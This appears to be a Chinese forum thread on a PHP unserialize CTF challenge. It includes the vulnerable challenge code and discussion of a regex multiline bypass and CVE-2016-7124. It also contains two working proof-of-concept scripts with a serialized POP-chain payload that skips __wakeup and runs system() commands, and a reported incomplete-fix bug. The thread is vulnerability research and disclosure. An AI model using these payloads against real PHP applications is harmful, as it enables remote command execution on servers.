<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
@胡椒舰长,1楼的问题不是php的问题而是代码的问题,如图:
刻意添加模式修饰符/m
打开了多行匹配模式,当然可以通过换行绕过检测。正常人谁没事会加/m
?
还有\0
(%00
)是不能绕过检测的,因为PCRE是二进制安全的,只有\n
(%0a
)可以,因为代码主动开了多行模式,而\n
(%0a
)是换行符。
https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php
m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。
默认模式唯一的风险在于,行尾多且仅多一个换行符的情况下,依然可以被$
匹配,除非加模式修饰符/D
。
不过只多个换行通常不会产生非常严重的后果。如果往空格后面追加内容,不加/m
就匹配不上了。
https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php
D (PCRE_DOLLAR_ENDONLY)
如果这个修饰符被设置,模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m,这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。
答案生成代码中,$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
是关键。如果不进行该替换,攻击就不会起作用。
CVE-2016-7124:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
7.4.25也有问题,php团队从未修复该问题吗?
@胡椒舰长,@老虎会仰泳,7楼的答案可能意外发现了CVE-2016-7124的变体,该问题在最新的PHP版本中依然存在。
cat poc.php
#!/usr/bin/env php
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
echo "Don't serialize me\n";
}
}
class A{
public $a;
public function __get($p){
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$pop = <<<EOF
O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}
EOF;
try {
echo "********** normal **********\n\n$pop\n\n";
var_dump(unserialize($pop));
} catch (Throwable $e) {
echo "\n", $e->getMessage(), "\n\n";
}
try {
echo "********* bad **********\n\n\n$pop\n\n";
$pop = str_replace('"Fun":1', '"Fun":2', $pop);
var_dump(unserialize($pop));
} catch (Throwable $e) {
echo "\n", $e->getMessage(), "\n\n";
}
chmod +x poc.php
docker run --rm -v $PWD:/root/php php /root/php/poc.php
已经向php.net提交了bug报告(因为涉及安全问题,报告默认被隐藏)
https://bugs.php.net/bug.php?id=81579
zheyx
小米MIX2s(白)
@老虎会仰泳,PHP版本7.0.10说它修复了CVE-2016-7124,但是并没有。如果用以下攻击数据,7.0.10也可以成功。
$pop = <<<EOF
O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"\0Fun\0func";s:6:"system";}}}
EOF;
这个攻击数据就是答案给的攻击数据,我嫌里面有\0
所以把\0Fun\0
删了,结果只和PHP7.2及后续版本兼容(因为func被标为private,表示方法得不一样)。
PHP7.0.10的system函数会因为第二个参数不是引用类型而拒绝执行,改成这样就能执行了:
cat poc2.php
#!/usr/bin/env php
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f);
}
public function __wakeup(){
$this->func = '';
echo "Don't serialize me\n";
}
}
class A{
public $a;
public function __get($p){
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$pop = <<<EOF
O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"\0Fun\0func";s:6:"system";}}}
EOF;
try {
echo "********** normal **********\n\n$pop\n\n";
var_dump(unserialize($pop));
} catch (Throwable $e) {
echo "\n", $e->getMessage(), "\n\n";
}
try {
echo "********* bad **********\n\n\n$pop\n\n";
$pop = str_replace('"Fun":1', '"Fun":2', $pop);
var_dump(unserialize($pop));
} catch (Throwable $e) {
echo "\n", $e->getMessage(), "\n\n";
}
chmod +x poc.php
docker run --rm -v $PWD:/root/php php /root/php/poc2.php
@老虎会仰泳,@胡椒舰长,看起来PHP当初对CVE-2016-7124的修复是不完善的。
https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e
从测试用例就能看出来,它似乎只解决了会调用有问题的对象本身的析构函数这个问题,但是没有阻止外层没问题的对象触发析构函数,并且在其析构函数中引用有问题的对象。
也就是说,修复只是让unserialize
返回false
,打印一行警告,并且不会调用Fun
的析构函数。但是Fun
还是被构建出来并且塞入了我们的攻击数据,所以在外层对象析构的时候就会引用攻击数据。
如果PHP的实现是:
null
;__wakeup()
;那就不会有问题了。
截屏2021-10-30 12.15.34.png
截屏2021-10-30 12.13.59.png